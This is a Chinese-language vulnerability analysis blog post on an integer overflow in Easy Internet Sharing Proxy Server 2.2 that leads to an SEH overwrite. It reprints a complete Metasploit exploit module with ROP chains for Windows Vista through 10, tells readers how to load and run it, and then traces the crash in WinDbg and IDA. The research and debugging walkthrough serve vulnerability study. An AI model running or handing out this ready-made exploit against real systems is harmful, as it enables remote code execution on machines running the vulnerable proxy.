Easy Internet Sharing Proxy Server 2.2整数溢出远程代码执行漏洞

作者:k0shl 转载请注明出处:https://whereisk0shl.top


漏洞说明


Easy Internet Sharing Proxy Server是一个EFS软件的代理服务器,运行SOCK Proxy之后会开启一个1080端口,等待客户端连接,在处理客户端连接的数据包时,由于对传入数据处理时的错误,导致了发生了整数溢出漏洞,在后来进行内存拷贝时,拷贝的长度是一个极大值,从而导致了向不可写内存写入数据,通过覆盖SEH异常结构导致代码执行,下面对此漏洞进行详细分析。

软件下载:
https://www.exploit-db.com/apps/e75d400c82e25687d3159aedb8479989-epssetup.exe

PoC:

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
 
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Seh
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Easy Internet Sharing Proxy Server 2.2 SEH buffer Overflow',
      'Description'    => %q{
        This module exploits a SEH buffer overflow in the Easy Internet Sharing Proxy Socks Server 2.2
      },
      'Platform'       => 'win',
      'Author'         =>
        [
          'tracyturben[at]gmail.com'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ %w{URL http://www.sharing-file.com/products.htm}]
        ],
      'Privileged'     => false,
 
      'Payload'        =>
        {
          'Space'           => 836,
          'BadChars' => '\x90\x3b\x0d\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c',
          'StackAdjustment' => -3500,
        },
      'Targets'=>
        [
          [ 'Windows 10 32bit', { 'Ret' => 0x0043AD2C,'Offset' => 836,'Nops' => 44 } ],
          [ 'Windows 8.1 32bit SP1', { 'Ret' => 0x0043AD30,'Offset' => 908 } ],
          [ 'Windows 7 32bit SP1', { 'Ret' => 0x0043AD38,'Offset' => 884 } ],
          [ 'Windows Vista 32bit SP2 ', { 'Ret' => 0x0043AD38,'Offset' => 864 } ]
        ],
      'DefaultOptions'=>{
      'RPORT'=> 1080,
      'EXITFUNC'=> 'thread'
        },
      'DisclosureDate' => 'Nov 10 2016',
      'DefaultTarget'=> 0))
end
 
  def exploit
    connect
    rop_gadgets =''
 
    if target.name =~ /Vista 32bit/
 
     print_good("Building Windows Vista Rop Chain")
     rop_gadgets =
     [
      0x0043fb03,
      0x0043fb03,
      0x0043fb03,
      0x0043fb03,
      0x0043fb03,
      0x00454559,  # POP EAX # RETN [easyproxy.exe]
      0x00489210,  # ptr to &VirtualAlloc() [IAT easyproxy.exe]
      0x00462589,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [easyproxy.exe]
      0x004768eb,  # PUSH EAX # POP ESI # RETN 0x04 [easyproxy.exe]
      0x004543b2,  # POP EBP # RETN [easyproxy.exe]
      0x41414141,  # Filler (RETN offset compensation)
      0x00417771,  # & push esp # ret 0x1C [easyproxy.exe]
      0x0046764d,  # POP EBX # RETN [easyproxy.exe]
      0x00000001,  # 0x00000001-> ebx
      0x004532e5,  # POP EBX # RETN [easyproxy.exe]
      0x00001000,  # 0x00001000-> edx
      0x0045a4ec,  # XOR EDX,EDX # RETN [easyproxy.exe]
      0x0045276e,  # ADD EDX,EBX # POP EBX # RETN 0x10 [easyproxy.exe]
      0x00000001,  # size
      0x00486fac,  # POP ECX # RETN [easyproxy.exe]
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x00000040,  # 0x00000040-> ecx
      0x0044fc45,  # POP EDI # RETN [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0045460d,  # POP EAX # RETN [easyproxy.exe]
      0x90909090,  # nop
      0x0047d30f,  # PUSHAD # ADD AL,0 # RETN [easyproxy.exe]
   ].flatten.pack('V*')
 
   print_good('Building Exploit...')
   sploit = "\x90" *46
   sploit << rop_gadgets
   sploit << payload.encoded
   sploit << rand_text_alpha(target['Offset'] - payload.encoded.length)
   sploit << generate_seh_record(target.ret)
   print_good('Sending exploit...')
   sock.put(sploit)
 
   print_good('Exploit Sent...')
 
   handler
 
   disconnect
end
 
   if target.name =~ /7 32bit/
 
 
    print_good('Building Windows 7 Rop Chain')
 
    rop_gadgets =
    [
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0047da72,  # POP EAX # RETN [easyproxy.exe]
      0x00489210,  # ptr to &VirtualAlloc() [IAT easyproxy.exe]
      0x004510a3,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [easyproxy.exe]
      0x004768eb,  # PUSH EAX # POP ESI # RETN 0x04 [easyproxy.exe]
      0x00450e40,  # POP EBP # RETN [easyproxy.exe]
      0x41414141,  # Filler (RETN offset compensation)
      0x00417865,  # & push esp # ret 0x1C [easyproxy.exe]
      0x0046934a,  # POP EBX # RETN [easyproxy.exe]
      0x00000001,  # 0x00000001-> ebx
      0x0045a5b4,  # POP EBX # RETN [easyproxy.exe]
      0x00001000,  # 0x00001000-> edx
      0x0045a4ec,  # XOR EDX,EDX # RETN [easyproxy.exe]
      0x0045276e,  # ADD EDX,EBX # POP EBX # RETN 0x10 [easyproxy.exe]
      0x00000001,  # size
      0x0047a3bf,  # POP ECX # RETN [easyproxy.exe]
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x00000040,  # 0x00000040-> ecx
      0x00453ce6,  # POP EDI # RETN [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x00478ecd,  # POP EAX # RETN [easyproxy.exe]
      0x90909090,  # nop
      0x0047d30f,  # PUSHAD # ADD AL,0 # RETN [easyproxy.exe]
    ].flatten.pack('V*')
 
    print_good('Building Exploit...')
    sploit = "\x90" *26
    sploit << rop_gadgets
    sploit << payload.encoded
    sploit << rand_text_alpha(target['Offset'] - payload.encoded.length)
    sploit << generate_seh_record(target.ret)
    print_good('Sending exploit...')
    sock.put(sploit)
 
    print_good('Exploit Sent...')
    sleep(5)
    handler
 
    disconnect
 
end
 
   if target.name =~ /8.1 32bit/
 
    print_good('Building Windows 8 Rop Chain')
 
    rop_gadgets =
    [
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0047da72,  # POP EAX # RETN [easyproxy.exe]
      0x00489210,  # ptr to &VirtualAlloc() [IAT easyproxy.exe]
      0x004510a3,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [easyproxy.exe]
      0x004768eb,  # PUSH EAX # POP ESI # RETN 0x04 [easyproxy.exe]
      0x00450e40,  # POP EBP # RETN [easyproxy.exe]
      0x41414141,  # Filler (RETN offset compensation)
      0x00417865,  # & push esp # ret 0x1C [easyproxy.exe]
      0x0046934a,  # POP EBX # RETN [easyproxy.exe]
      0x00000001,  # 0x00000001-> ebx
      0x0045a5b4,  # POP EBX # RETN [easyproxy.exe]
      0x00001000,  # 0x00001000-> edx
      0x0045a4ec,  # XOR EDX,EDX # RETN [easyproxy.exe]
      0x0045276e,  # ADD EDX,EBX # POP EBX # RETN 0x10 [easyproxy.exe]
      0x00000001,  # size
      0x0047a3bf,  # POP ECX # RETN [easyproxy.exe]
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x00000040,  # 0x00000040-> ecx
      0x00453ce6,  # POP EDI # RETN [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x00478ecd,  # POP EAX # RETN [easyproxy.exe]
      0x90909090,  # nop
      0x0047d30f,  # PUSHAD # ADD AL,0 # RETN [easyproxy.exe]
 
    ].flatten.pack('V*')
 
    print_good('Building Exploit...')
    sploit = "\x90" *2
    sploit << rop_gadgets
    sploit << payload.encoded
    sploit << rand_text_alpha(target['Offset'] - payload.encoded.length)
    sploit << generate_seh_record(target.ret)
    print_good('Sending exploit...')
    sock.put(sploit)
    print_good('Exploit Sent...')
    handler
 
    disconnect
 
 
end
 
    if target.name =~ /10 32bit/
 
 
 
    print_good('Building Windows 10 Rop Chain')
 
    rop_gadgets =
    [
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x0047f1de,  # POP EBX # RETN [easyproxy.exe]
      0x00489210,  # ptr to &VirtualAlloc() [IAT easyproxy.exe]
      0x0045a4ec,  # XOR EDX,EDX # RETN [easyproxy.exe]
      0x0045276e,  # ADD EDX,EBX # POP EBX # RETN 0x10 [easyproxy.exe]
      0x41414141,  # Filler (compensate)
      0x00438d30,  # MOV EAX,DWORD PTR DS:[EDX] # RETN [easyproxy.exe]
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x004768eb,  # PUSH EAX # POP ESI # RETN 0x04 [easyproxy.exe]
      0x004676b0,  # POP EBP # RETN [easyproxy.exe]
      0x41414141,  # Filler (RETN offset compensation)
      0x00417771,  # & push esp # ret 0x1C [easyproxy.exe]
      0x0046bf38,  # POP EBX # RETN [easyproxy.exe]
      0x00000001,  # 0x00000001-> ebx
      0x00481477,  # POP EBX # RETN [easyproxy.exe]
      0x00001000,  # 0x00001000-> edx
      0x0045a4ec,  # XOR EDX,EDX # RETN [easyproxy.exe]
      0x0045276e,  # ADD EDX,EBX # POP EBX # RETN 0x10 [easyproxy.exe]
      0x00000001,  # Filler (compensate)
      0x00488098,  # POP ECX # RETN [easyproxy.exe]
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x41414141,  # Filler (RETN offset compensation)
      0x00000040,  # 0x00000040-> ecx
      0x0044ca38,  # POP EDI # RETN [easyproxy.exe]
      0x0043fb03,  # RETN (ROP NOP) [easyproxy.exe]
      0x00454559,  # POP EAX # RETN [easyproxy.exe]
      0x90909090,  # nop
      0x0047d30f,  # PUSHAD # ADD AL,0 # RETN [easyproxy.exe]
    ].flatten.pack('V*')
 
    print_good('Building Exploit...')
    sploit = "\x90" *2
    sploit << rop_gadgets
    sploit << payload.encoded
    sploit << make_nops(target['Nops'])
    sploit << rand_text_alpha(target['Offset'] - payload.encoded.length)
    sploit << generate_seh_record(target.ret)
    print_good('Sending exploit...')
    sock.put(sploit)
 
    print_good('Exploit Sent...')
 
    handler
 
 
    disconnect
 
  end
 end
end

PoC是metasploit的模块,请保存成.rb文件拷贝至metasploit中的exploit模块目录下,重新加载metasploit之后导入这个PoC按照metasploit配置运行。


漏洞复现


首先安装EFS代理服务器,运行SOCK Proxy服务,打开1080端口,之后通过Metasploit运行PoC,引发了异常,附加Windbg。

0:010> g
(fec.a18): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffff90 ebx=00000000 ecx=3fffeec4 edx=007a9590 esi=0404e002 edi=04050000
eip=0043973d esp=04047c1c ebp=ffffff90 iopl=0         ov up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010a06
*** WARNING: Unable to verify checksum for C:\EFS Software\Easy Internet Sharing Proxy Server\easyproxy.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\EFS Software\Easy Internet Sharing Proxy Server\easyproxy.exe
easyproxy+0x3973d:
0043973d f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

此时中断在溢出rep movs指令,该指令用于esi向edi进行内存拷贝,此时edi寄存器指向04050000,是栈空间一处不可写的地址,查看一下堆栈调用。

0:002> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
04047c18 00000000 00000000 0404ff94 000001fc easyproxy+0x3973d

此时只执行了一处函数调用,但实际上,通过xfer查看一下,这里并不是一处调用,在外层还有一处函数调用。

    v3 = 4;
    do
    {
      CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_438D90, *((LPVOID *)v1 + 30), 0, &ThreadId);
      --v3;
    }
    while ( v3 );

问题出现在sub_438D90函数中,这里通过CreateThread创建了一个线程,在中断位置查看一下edx寄存器的内容。

0:002> dc edx
007a9590  00000000 0000040e 00000000 00000000  ................
007a95a0  00000000 00002000 007a95ac fb039090  ..... ....z.....
007a95b0  fb030043 fb030043 fb030043 fb030043  C...C...C...C...
007a95c0  f1de0043 92100047 a4ec0048 276e0045  C...G...H...E.n'
007a95d0  41410045 8d304141 41410043 41414141  E.AAAA0.C.AAAAAA
007a95e0  41414141 41414141 68eb4141 76b00047  AAAAAAAAAA.hG..v

此时edx已经存放了Payload,这里先创建了进程,所以我们只需要关注漏洞的位置sub_438D90函数。


漏洞分析


通过IDA pro观察一下漏洞函数sub_438D90

DWORD __userpurge sub_438D90@<eax>(int a1@<eax>, int a2@<edi>, LPVOID lpThreadParameter)
 ……
  while ( 1 )
  {
  ……
    if ( !GetQueuedCompletionStatus(
            lpThreadParameter,
            &NumberOfBytesTransferred,
            &CompletionKey,
            &Overlapped,
            0xFFFFFFFF) )
      WSAGetLastError();

函数中,会执行一个while语句,在创建线程后,会用while语句进入循环等待客户端连接,并处理请求。通过IDA pro看一下刚才中断位置的上下文。

    if ( v6 == HANDLE_FLAG_INHERIT )
    {
      qmemcpy(&v235, &Overlapped[1].Offset, NumberOfBytesTransferred);

首先会判断v6是不是一个继承的线程标志,如果是的话,会先执行一次memcpy的操作,这次会将Overlapped结构体的变量拷贝到v235中。

0:005> p
eax=0000040e ebx=00000000 ecx=0000040e edx=003048c0 esi=003048dc edi=04579b80
eip=00438e38 esp=04577c1c ebp=0000040e iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
easyproxy+0x38e38:
00438e38 c1e902          shr     ecx,2
0:005> dd edi
04579b80  00000000 00000000 00000000 00000000
04579b90  00000000 00000000 00000000 00000000
04579ba0  00000000 00000000 00000000 00000000
04579bb0  00000000 00000000 00000000 00000000
04579bc0  00000000 00000000 00000000 00000000
04579bd0  00000000 00000000 00000000 00000000
04579be0  00000000 00000000 00000000 00000000
04579bf0  00000000 00000000 00000000 00000000
0:005> p
eax=0000040e ebx=00000000 ecx=00000103 edx=003048c0 esi=003048dc edi=04579b80
eip=00438e3b esp=04577c1c ebp=0000040e iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207
easyproxy+0x38e3b:
00438e3b f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

这次rep movs拷贝结束后,会将结构体对应的内容,交给edi,拷贝前edi已经初始化,随后。

0:005> p
eax=0000040e ebx=00000000 ecx=00000000 edx=003048c0 esi=00304ce8 edi=04579f8c
eip=00438e3d esp=04577c1c ebp=0000040e iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207
easyproxy+0x38e3d:
00438e3d 8bcd            mov     ecx,ebp
0:005> dd 04579b80
04579b80  fb039090 fb030043 fb030043 fb030043
04579b90  fb030043 f1de0043 92100047 a4ec0048
04579ba0  276e0045 41410045 8d304141 41410043
04579bb0  41414141 41414141 41414141 68eb4141
04579bc0  76b00047 41410046 77714141 bf380041
04579bd0  00010046 14770000 10000048 a4ec0000
04579be0  276e0045 00010045 80980000 41410048
04579bf0  41414141 41414141 41414141 00404141

这里拷贝的结构体的内容就是畸形字符串,这个畸形字符串里也包含了很多处理信息,通过IDA pro看一下漏洞发生位置的上下文。

.text:00439720 loc_439720:                             ; CODE XREF: sub_438D90+C5j
.text:00439720                 movsx   ebp, [esp+8370h+var_640B]
.text:00439728 ; 289:         v41 = (unsigned int)v236 >> 2;
.text:00439728                 mov     ecx, ebp
.text:0043972A ; 290:         qmemcpy(v239, v237, 4 * v41);
.text:0043972A                 lea     esi, [esp+8370h+var_640A]
.text:00439731 ; 288:         v40 = v236;
.text:00439731                 mov     eax, ecx
.text:00439733                 lea     edi, [esp+8370h+var_440C]
.text:0043973A                 shr     ecx, 2
.text:0043973D ; 291:         v43 = &v237[4 * v41];
.text:0043973D ; 292:         v42 = &v239[4 * v41];
.text:0043973D                 rep movsd

地址00439720位置的movsx指令很关键,这里是一处带符号拷贝操作。

0:005> p
eax=00000490 ebx=00000000 ecx=00000000 edx=003048c0 esi=00304cea edi=04579f8e
eip=00438e53 esp=04577c1c ebp=0000040e iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
easyproxy+0x38e53:
00438e53 3c04            cmp     al,4
0:005> p
eax=00000490 ebx=00000000 ecx=00000000 edx=003048c0 esi=00304cea edi=04579f8e
eip=00438e55 esp=04577c1c ebp=0000040e iopl=0         nv up ei ng nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000292
easyproxy+0x38e55:
00438e55 0f85c5080000    jne     easyproxy+0x39720 (00439720)            [br=1]
0:005> p
eax=00000490 ebx=00000000 ecx=00000000 edx=003048c0 esi=00304cea edi=04579f8e
eip=00439720 esp=04577c1c ebp=0000040e iopl=0         nv up ei ng nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000292
easyproxy+0x39720:
00439720 0fbeac24651f0000 movsx   ebp,byte ptr [esp+1F65h]  ss:0023:04579b81=90

这一处拷贝操作会将esp+1F65的值进行赋值,这个地方属于刚才结构体变量的后一个字节,而这里执行的movsx操作,拷贝的长度又是90h,导致最高位为1,那么带符号的情况下,这里相当于拷贝了一个负数。

0:005> p
eax=00000490 ebx=00000000 ecx=00000000 edx=003048c0 esi=00304cea edi=04579f8e
eip=00439728 esp=04577c1c ebp=ffffff90 iopl=0         nv up ei ng nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000292
easyproxy+0x39728:
00439728 8bcd            mov     ecx,ebp

拷贝后,ebp的值变成了ffffff90,是一个负数,随后进行传递,但是在这个过程中,是以无符号值传递的。

0:005> p
eax=00000490 ebx=00000000 ecx=00000000 edx=003048c0 esi=00304cea edi=04579f8e
eip=00439728 esp=04577c1c ebp=ffffff90 iopl=0         nv up ei ng nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000292
easyproxy+0x39728:
00439728 8bcd            mov     ecx,ebp
0:005> p
eax=00000490 ebx=00000000 ecx=ffffff90 edx=003048c0 esi=00304cea edi=04579f8e
eip=0043972a esp=04577c1c ebp=ffffff90 iopl=0         nv up ei ng nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000292
easyproxy+0x3972a:
0043972a 8db424661f0000  lea     esi,[esp+1F66h]
0:005> p
eax=00000490 ebx=00000000 ecx=ffffff90 edx=003048c0 esi=04579b82 edi=04579f8e
eip=00439731 esp=04577c1c ebp=ffffff90 iopl=0         nv up ei ng nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000292
easyproxy+0x39731:
00439731 8bc1            mov     eax,ecx
0:005> p
eax=ffffff90 ebx=00000000 ecx=ffffff90 edx=003048c0 esi=04579b82 edi=04579f8e
eip=00439733 esp=04577c1c ebp=ffffff90 iopl=0         nv up ei ng nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000292
easyproxy+0x39733:
00439733 8dbc24643f0000  lea     edi,[esp+3F64h]
0:005> p
eax=ffffff90 ebx=00000000 ecx=ffffff90 edx=003048c0 esi=04579b82 edi=0457bb80
eip=0043973a esp=04577c1c ebp=ffffff90 iopl=0         nv up ei ng nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000292
easyproxy+0x3973a:
0043973a c1e902          shr     ecx,2

ebp会将这个值交给ecx,随后ecx会右移两位,这个操作实际上就是值除以4的操作,进行完之后到达漏洞触发的拷贝位置。

0:005> p
eax=ffffff90 ebx=00000000 ecx=3fffffe4 edx=003048c0 esi=04579b82 edi=0457bb80
eip=0043973d esp=04577c1c ebp=ffffff90 iopl=0         ov up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000a06
easyproxy+0x3973d:
0043973d f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:005> dd esi
04579b82  0043fb03 0043fb03 0043fb03 0043fb03
04579b92  0043fb03 0047f1de 00489210 0045a4ec
04579ba2  0045276e 41414141 00438d30 41414141
04579bb2  41414141 41414141 41414141 004768eb
04579bc2  004676b0 41414141 00417771 0046bf38
04579bd2  00000001 00481477 00001000 0045a4ec
04579be2  0045276e 00000001 00488098 41414141
04579bf2  41414141 41414141 41414141 00000040

拷贝长度就是ecx,此时ecx的值是3fffffe4,是一个极大的值,这个值作为memcpy操作的长度依据,那么这里就是由于符号数转换导致的整数溢出,当长度到达一定长度的时候,引发了异常处理。

0:005> p
(c84.aa4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffff90 ebx=00000000 ecx=3fffeec4 edx=003048c0 esi=0457e002 edi=04580000
eip=0043973d esp=04577c1c ebp=ffffff90 iopl=0         ov up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010a06
easyproxy+0x3973d:
0043973d f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:005> dd edi
04580000  ???????? ???????? ???????? ????????
04580010  ???????? ???????? ???????? ????????

最后SEH地址已经被覆盖。

0:005> dt 042fff80 _NT_TIB
ntdll!_NT_TIB
   +0x000 ExceptionList    : 0x9efa06eb _EXCEPTION_REGISTRATION_RECORD
   +0x004 StackBase        : 0x0043ad2c Void
   +0x008 StackLimit       : (null) 
   +0x00c SubSystemTib     : (null) 
   +0x010 FiberData        : (null) 
   +0x010 Version          : 0
   +0x014 ArbitraryUserPointer : (null) 
   +0x018 Self             : (null) 

覆盖位置的值已经是我们控制的值,这里由于操作系统的问题,这里控制的值不太对,还没有覆盖SEH指针,因此会跳转到00000000。

Comments
Write a Comment